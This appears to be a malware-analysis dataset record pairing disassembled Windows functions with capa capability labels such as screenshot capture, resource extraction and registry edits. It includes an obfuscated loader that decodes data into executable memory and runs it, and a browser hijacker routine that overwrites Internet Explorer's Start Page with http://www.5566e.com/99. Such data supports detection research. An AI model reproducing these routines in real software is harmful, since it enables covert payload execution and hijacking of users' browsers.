joyce8/EMBER2024-capa huggingface dataset:
Function at 0x47e250
Capabilities:
Capture screenshot

Disassembly:
sub esp, 0x10
lea eax, [esp]
push esi
mov esi, dword [esp + 0x18]
push eax
mov ecx, dword [esi]
push ecx
call dword [sym.imp.USER32.dll_GetWindowRect]
mov edx, dword [esi]
push edx
call dword [sym.imp.USER32.dll_GetWindowDC]
push eax
mov dword [esi + 4], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 1
push eax
mov dword [esi + 8], eax
call dword [sym.imp.GDI32.dll_SetBkMode]
mov eax, dword [esi + 0x10]
test eax, eax
je 0x47e29a
push eax
mov eax, dword [esi + 8]
mov dword [esi + 0x18], 0
push eax
jmp 0x47e2c9
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 8]
mov edx, dword [esp + 0xc]
sub ecx, eax
mov eax, dword [esi + 4]
push ecx
mov ecx, dword [esp + 8]
mov dword [esi + 0x18], 1
sub edx, ecx
push edx
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ecx, dword [esi + 8]
push eax
mov dword [esi + 0x10], eax
push ecx
call dword [sym.imp.GDI32.dll_SelectObject]
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0xc]
cmp eax, 1
jne 0x47e30b
mov edx, dword [esi + 4]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
push 0xcc0020
push 0
push 0
push edx
mov edx, dword [esp + 0x18]
sub eax, edx
mov edx, dword [esp + 0x14]
sub ecx, edx
mov edx, dword [esi + 8]
push eax
push ecx
push 0
push 0
push edx
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [esi + 8]
pop esi
add esp, 0x10
ret 4
Function at 0x4a0174
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4a01ac
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0049e1fe
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0049e1d6
jmp 0x4a01b8
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4a1862
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4a18a4
call fcn.004a7883
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4a18a4
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4a189b
xor eax, eax
jmp 0x4a18ac
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004a18b2
pop edi
pop esi
pop ebx
ret 4

Function at 0x4a7db3
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4a7de1
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4a7dff
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004a7d19
jmp 0x4a7dff
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4a7dff
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004a7d19
test edi, edi
mov eax, edi
jne 0x4a7de9
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x4028a2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x4028b1
pop dword [ebp - 0x44]
mov eax, 0x4028b1
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x37f34f1f
add dword [ebp - 0x54], 0x165ef62c
mov dword [ebp - 0x50], 0x898d1977
add dword [ebp - 0x50], 0xa8a632ce
mov dword [ebp - 0x4c], 0x6fe45fc3
add dword [ebp - 0x4c], 0xdc67e46b
mov dword [ebp - 0x48], 0x685f5abf
add dword [ebp - 0x48], 0x97a0a541
lea eax, [ebp - 0x54]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xb8f8bca1
add dword [ebp - 0x54], 0xbb79acb5
mov dword [ebp - 0x50], 0xd4892e9d
sub dword [ebp - 0x50], 0x931ccd28
mov dword [ebp - 0x4c], 0x1586281a
sub dword [ebp - 0x4c], 0xb216bbae
mov dword [ebp - 0x48], 0x2041a8a2
sub dword [ebp - 0x48], 0x2041a8a2
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x35284
push 0
call eax
mov ecx, 0x93a47e8a
add ecx, 0x6c5bbf3a
xor edi, edi
add edi, eax
mov ebx, 0xa81a72ba
add ebx, 0x58265546
add ebx, dword [ebp - 0x44]
mov edx, 0xf39680e
sub edx, 0xc194eae5
mov dword [ebp - 0x3c], 0x7a858fe3
mov esi, dword [ebx]
add esi, edx
xor dword [ebp - 0x34], edx
mov dword [edi], esi
add dword [ebp - 0x38], 0xf007cbb6
add edi, 0x173b4d0a
add edi, 0xe8c4b2fa
add ebx, 0x1911d148
sub ebx, 0x1911d144
loop 0x4029c6
add eax, 0x420339dc
sub eax, 0x42024ff9
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x4045aa
Capabilities:
Check if file exists

Disassembly:
push 0x1c
mov eax, 0x4068f8
call fcn.0040545b
cmp dword [0x40a010], 0
mov esi, dword [ebp + 8]
jne 0x4045c9
mov al, 1
jmp 0x404692
test esi, esi
je 0x404690
xor ebx, ebx
cmp word [esi], bx
je 0x404690
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x404690
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsRelativeW]
test eax, eax
jne 0x404690
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.004028a2
pop ecx
pop ecx
mov esi, dword [0x40a010]
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x18], ebx
je 0x404684
lea eax, [ebp - 0x28]
push eax
call fcn.004028a2
pop ecx
test al, al
jne 0x404684
cmp dword [ebp - 0x18], esi
jbe 0x404684
cmp dword [0x40a014], 8
lea eax, [ebp - 0x28]
mov ecx, section..data
cmovae ecx, dword [section..data]
cmp dword [ebp - 0x14], 8
push esi
cmovae eax, dword [ebp - 0x28]
push ecx
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsnicmp]
add esp, 0xc
test eax, eax
jne 0x404684
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
test eax, eax
je 0x404684
push 0x407628
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
xor edx, edx
movzx ebx, bl
inc edx
test eax, eax
pop ecx
pop ecx
cmovne ebx, edx
lea ecx, [ebp - 0x28]
call fcn.00401780
mov al, bl
jmp 0x404692
xor al, al
call fcn.00405416
ret
Function at 0x401380
Capabilities:
Read .ini file

Disassembly:
push ecx
push esi
push edi
push str..Main_gamex.ini
lea ecx, [esp + 0xc]
mov esi, eax
call fcn.00401790
mov eax, dword [esp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push eax
push 0x100
lea ecx, [esi + 0x108]
push ecx
push 0
push str.Name
push str.AppName
call edi
test eax, eax
jne 0x4013e2
mov eax, dword [esp + 8]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4013dc
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
pop edi
xor eax, eax
pop esi
pop ecx
ret
mov ecx, dword [esp + 8]
push ecx
push 0x100
lea edx, [esi + 0xa4]
push edx
push 0
push str.Name
push str.Main
call edi
test eax, eax
jne 0x40141b
mov eax, dword [esp + 8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jmp 0x4013d0
mov ecx, dword [esp + 8]
push ecx
push 0x100
add esi, 0x16c
push esi
push 0
push str.Name
push str.Params
call edi
mov eax, dword [esp + 8]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40145a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
pop edi
mov eax, 1
pop esi
pop ecx
ret

Function at 0x401470
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401489
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4014c4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x4014c0
lea ebx, [ebx]
cmp esi, eax
jae 0x4014c4
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x4014b0
cmp esi, eax
jb 0x4014ca
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x403690
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, word [esp + 4]
mov dword [esp + 4], edx
jmp fcn.00412b54

Function at 0x404180
Capabilities:
Check internet connectivity via wininet

Disassembly:
push 0xffffffffffffffff
push 0x439048
mov eax, dword fs:[0]
push eax
mov eax, dword [0x44c610]
xor eax, esp
push eax
lea eax, [esp + 4]
mov dword fs:[0], eax
mov eax, dword [esp + 0x14]
push 0
push 1
push eax
call dword [sym.imp.WININET.dll_InternetCheckConnectionW]
or edx, 0xffffffff
mov dword [esp + 0xc], 0xffffffff
test eax, eax
mov eax, dword [esp + 0x14]
jne 0x4041ed
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4041db
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
pop ecx
add esp, 0xc
ret
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404206
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
pop ecx
add esp, 0xc
ret
Function at 0x404480
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x439548
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push esi
mov eax, dword [0x44c610]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
push 0x44183c
lea ecx, [esp + 0xc]
mov dword [esp + 0x10], 0
call fcn.00401790
lea eax, [esp + 0xc]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftInternet_ExplorerMain_
push SysReAllocString
mov dword [esp + 0x34], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40452b
push 0xff
call fcn.00407e1a
add esp, 4
lea ecx, [esp + 0x10]
push ecx
mov esi, eax
mov eax, dword [esp + 0x10]
push esi
lea edx, [esp + 0x1c]
push edx
push 0
push str.Start_Page
push eax
mov dword [esp + 0x2c], 1
mov dword [esp + 0x28], 0xff
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
test eax, eax
je 0x40456a
call fcn.00407e25
add esp, 4
mov dword [esp + 0x20], 0xffffffff
mov eax, dword [esp + 8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404675
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x1c
ret
lea ecx, [esp + 0xc]
push 0x442278
push ecx
call fcn.00403770
push esi
call fcn.00407e25
mov edx, dword [esp + 0x1c]
add esp, 0x10
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 8]
push str.baidu.com
push eax
call fcn.0042589a
add esp, 8
test eax, eax
jne 0x4045c0
mov ecx, dword [esp + 8]
push str.hao123.com
push ecx
call fcn.0042589a
add esp, 8
mov byte [0x450778], 0
test eax, eax
je 0x4045c7
mov byte [0x450778], 1
mov edx, dword [esp + 8]
push str.5566e.com
push edx
call fcn.0042589a
add esp, 8
test eax, eax
je 0x40461b
mov dword [esp + 0x20], 0xffffffff
mov eax, dword [esp + 8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404605
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x1c
ret
mov ecx, dword [esp + 8]
push str.1155q.com
push ecx
call fcn.0042589a
add esp, 8
test eax, eax
je 0x40464f
mov dword [esp + 0x20], 0xffffffff
mov eax, dword [esp + 8]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jmp 0x4045f9
mov ecx, dword [esp + 8]
push str.99danji.com
push ecx
call fcn.0042589a
add esp, 8
lea ecx, [esp + 8]
test eax, eax
je 0x404670
call fcn.00401af0
jmp 0x404605
call fcn.00401af0
xor eax, eax
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x1c
ret
Function at 0x404690
Capabilities:
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x439368
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x44c610]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x20]
mov ecx, 0x44183c
mov dx, word [eax]
or edi, 0xffffffff
cmp dx, word [ecx]
jne 0x4046ed
test dx, dx
je 0x4046e9
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4046ed
add eax, 4
add ecx, 4
test dx, dx
jne 0x4046c4
xor eax, eax
jmp 0x4046f1
sbb eax, eax
sbb eax, edi
test eax, eax
setne al
test al, al
je 0x404713
cmp byte [0x450778], 1
jne 0x404713
push 0x18
push str.http:__www.5566e.com__99
lea ecx, [esp + 0x28]
call fcn.00401a30
push 0xff
mov dword [esp + 0x10], 0
call fcn.00407e1a
add esp, 4
mov esi, eax
lea eax, [esp + 0xc]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftInternet_ExplorerMain_
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x404788
push esi
call fcn.00407e25
add esp, 4
mov dword [esp + 0x18], edi
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edi
dec edi
test edi, edi
jg 0x404774
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x10
ret
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
push eax
call fcn.00403970
lea esi, [eax + 0x10]
lea eax, [esi - 0x10]
add esp, 4
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4047b6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0xc]
push 0xff
push esi
push 1
push 0
push str.Start_Page
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x4047ed
push esi
call fcn.00407e25
mov edx, dword [esp + 0x10]
add esp, 4
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x404753
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call fcn.00407e25
mov dword [esp + 0x1c], edi
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
add esp, 4
lea edx, [eax + 0xc]
lock xadd dword [edx], edi
dec edi
test edi, edi
jg 0x404822
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x10
ret
Function at 0x4055b0
Capabilities:
Create thread
Resume thread

Disassembly:
sub esp, 8
cmp dword [esi + 0x8c], 0
je 0x405613
cmp dword [esi + 0x80], 0
je 0x405619
mov ecx, dword [esi + 0xd0]
sub ecx, dword [esi + 0xcc]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
jbe 0x405619
lea ecx, [esp + 4]
push ecx
push 4
push esi
push 0x405b30
push 0
push 0
call fcn.00425b01
add esp, 0x18
mov dword [esi + 0xa8], eax
test eax, eax
je 0x405613
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
add esp, 8
ret
mov eax, dword [esi + 0xb0]
test eax, eax
je 0x405613
mov edx, dword [eax]
mov edx, dword [edx + 0x18]
push edi
lea ecx, [esp + 8]
push ecx
push eax
call edx
mov eax, dword [esi + 0xb0]
mov ecx, dword [eax]
lea edx, [esp + 4]
push edx
push eax
mov eax, dword [ecx + 0x1c]
call eax
mov ecx, dword [esp + 4]
mov eax, dword [esi + 0xb0]
mov edx, dword [eax]
push 0
mov edx, dword [edx + 0x20]
mov edi, ecx
neg edi
push edi
mov edi, dword [esp + 0x10]
push edi
push ecx
mov ecx, dword [esi + 0x68]
push 0
push ecx
mov ecx, dword [esi + 0x64]
push ecx
mov ecx, dword [esi + 0x90]
push 0
push 0
push ecx
push eax
call edx
pop edi
test eax, eax
jne 0x405613
push eax
push eax
mov eax, dword [esi + 0x20]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
mov eax, 1
add esp, 8
ret

Function at 0x4056a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
push esi
call fcn.00414b0b
mov ecx, dword [esp + 0x10]
mov eax, dword [eax + 0xc]
push 0x441ad4
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x40575f
call fcn.00414b0b
mov eax, dword [eax + 0xc]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebp, eax
test ebp, ebp
je 0x40575f
push edi
call fcn.00414b0b
mov eax, dword [eax + 0xc]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
push edi
push 0x22
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
jne 0x405707
pop edi
pop esi
pop ebp
ret 8
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebp
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x40574f
test ebx, ebx
je 0x40574f
push edi
push eax
push ebx
call fcn.0042a950
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov eax, dword [esp + 0x14]
push edi
push esi
call fcn.00404fb0
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop ebx
mov eax, edi
pop edi
pop esi
pop ebp
ret 8
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop ebx
pop edi
pop esi
xor eax, eax
pop ebp
ret 8
pop esi
xor eax, eax
pop ebp
ret 8
Function at 0x40eb34
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x40eb7b
call fcn.00414b0b
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x40eb7b
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40eb97
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0040e6ac
mov esi, eax
test edi, edi
je 0x40eb95
test ebx, ebx
je 0x40eb95
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x40f9f2
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x4383f4
call fcn.00426745
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x40fa17
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x40fa5d
lea ecx, [ebp - 0x10]
call fcn.00403a00
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040f253
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401b30
mov eax, esi
call fcn.0042681d
ret 8

Function at 0x4114e6
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x41152e
call fcn.00414b0b
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x41152e
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x411571
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x41155a
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x41155a
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x41156e
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x4251b9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44c610]
jne 0x4251c3
repz ret
jmp fcn.0042a73f

Function at 0x425750
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x425781
call fcn.00426c20
mov dword [eax], esi
call fcn.00426c0d
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.00425ce8
add esp, 0x14
push 0x16
pop eax
jmp 0x4257d6
test dword [ebp + 0xc], 0xfffffff9
jne 0x42575d
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4257ae
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00426c33
pop ecx
call fcn.00426c0d
mov eax, dword [eax]
jmp 0x4257d6
test al, 0x10
jne 0x4257d4
test al, 1
je 0x4257d4
test byte [ebp + 0xc], 2
je 0x4257d4
call fcn.00426c20
mov dword [eax], 5
call fcn.00426c0d
mov dword [eax], 0xd
jmp 0x4257a5
xor eax, eax
pop esi
pop ebp
ret

Function at 0x4313d2
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0042a0a3
and dword [ebp - 4], 0
cmp dword [0x4506b0], 0
mov ebx, eax
jne 0x431483
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x431534
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x431534
push eax
call fcn.0042a031
mov dword [esp], 0x43f934
push edi
mov dword [0x4506b0], eax
call esi
push eax
call fcn.0042a031
mov dword [esp], 0x43f920
push edi
mov dword [0x4506b4], eax
call esi
push eax
call fcn.0042a031
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4506b8], eax
call esi
push eax
call fcn.0042a031
pop ecx
mov dword [0x4506c0], eax
test eax, eax
je 0x431483
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0042a031
pop ecx
mov dword [0x4506bc], eax
mov eax, dword [0x4506bc]
cmp eax, ebx
je 0x4314db
cmp dword [0x4506c0], ebx
je 0x4314db
push eax
call fcn.0042a0ac
push dword [0x4506c0]
mov esi, eax
call fcn.0042a0ac
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4314db
test edi, edi
je 0x4314db
call esi
test eax, eax
je 0x4314d2
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4314d2
test byte [ebp - 0xc], 1
jne 0x4314db
or dword [ebp + 0x10], 0x200000
jmp 0x431514
mov eax, dword [0x4506b4]
cmp eax, ebx
je 0x431514
push eax
call fcn.0042a0ac
pop ecx
test eax, eax
je 0x431514
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x431514
mov eax, dword [0x4506b8]
cmp eax, ebx
je 0x431514
push eax
call fcn.0042a0ac
pop ecx
test eax, eax
je 0x431514
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4506b0]
call fcn.0042a0ac
pop ecx
test eax, eax
je 0x431534
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x431536
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret